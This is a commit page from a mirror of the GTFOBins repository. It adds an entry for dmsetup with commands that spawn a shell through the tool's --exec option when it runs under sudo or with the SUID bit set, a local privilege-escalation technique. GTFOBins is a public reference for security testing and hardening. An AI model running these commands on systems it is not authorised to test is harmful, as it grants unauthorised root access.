mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
parent
27c1c56577
commit
a448ed5c25
15
_gtfobins/dmsetup.md
Normal file
15
_gtfobins/dmsetup.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo dmsetup create base <<EOF
|
||||||
|
0 3534848 linear /dev/loop0 94208
|
||||||
|
EOF
|
||||||
|
sudo dmsetup ls --exec '/bin/sh -s'
|
||||||
|
suid:
|
||||||
|
- code: |
|
||||||
|
./dmsetup create base <<EOF
|
||||||
|
0 3534848 linear /dev/loop0 94208
|
||||||
|
EOF
|
||||||
|
./dmsetup ls --exec '/bin/sh -p -s'
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user